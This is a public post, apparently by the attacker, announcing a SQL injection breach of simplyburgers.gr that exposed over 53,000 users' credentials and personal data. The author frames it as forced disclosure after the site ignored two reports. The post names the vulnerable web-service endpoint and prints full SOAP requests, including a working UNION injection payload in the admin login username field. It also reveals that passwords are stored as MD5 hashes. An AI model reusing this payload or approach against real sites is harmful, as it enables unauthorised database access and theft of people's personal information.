Simplyburgers hacked.

A few days ago the database of simplyburgers.gr has been compromised.

53.000+ Usernames, Passwords, Home addresses, Emails, Other personal information
and administrator's usernames and passwords have been compromised.

I wouldn't have posted this if the Security Team of simplyburgers.gr had replied back to my
2(two) emails. I mentioned them their vulnerabilities with full information and a proof
of concept - even gave them the files and the vulnerable parameters I found - but they
never replied back nor fixed the issue. Unfortunately, this is my last option to get them
fix their bug. I won't leak any username or password nor I will use any of them but, I will
give a nice report of the vulnerability and a proof of concept.

ATTACK USED TO ACCESS DATABASE: SQLi (you don't say).
METHOD: I found the WSDL file on the server - located at */webservice1/webservice.php?wsdl*
and the checked every single parameter one by one to see if it's vulnerable to sql injection.
The username and password parameters, and probably more, were vulnerable. So, by using
a UNION query I gained all the information I wanted like database name, tables, columns, entries etc.

Here is the Request before SQL injection:

POST http://simplyburgers.gr/webservice1/webservice.php HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://simplyburgers.gr/webservice1/webservice.php/adminLogin"
Content-Length: 511
Host: simplyburgers.gr
Proxy-Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)


<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/$
   <soapenv:Header/>
   <soapenv:Body>
      <sim:adminLogin soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">1</username>
         <password xsi:type="xsd:string">1</password>
      </sim:adminLogin>
   </soapenv:Body>
</soapenv:Envelope>


* The '1' input on username,password is just an example *

Here is the payload inside the request:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/enve$
   <soapenv:Header/>
   <soapenv:Body>
      <sim:adminLogin soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">1' UNION ALL SELECT NULL,NULL,CONCAT(0x7163686471,0x6d6f465544695343674c,0x717a696c71),NULL,NULL#</username>
         <password xsi:type="xsd:string">1</password>
      </sim:adminLogin>
   </soapenv:Body>
</soapenv:Envelope>


Web Server: Apache.
Database: MySQL 5.
Password encryption: MD5 (that's sad, indeed).

Proof Of Concept: Database name: test_db, Table(example): users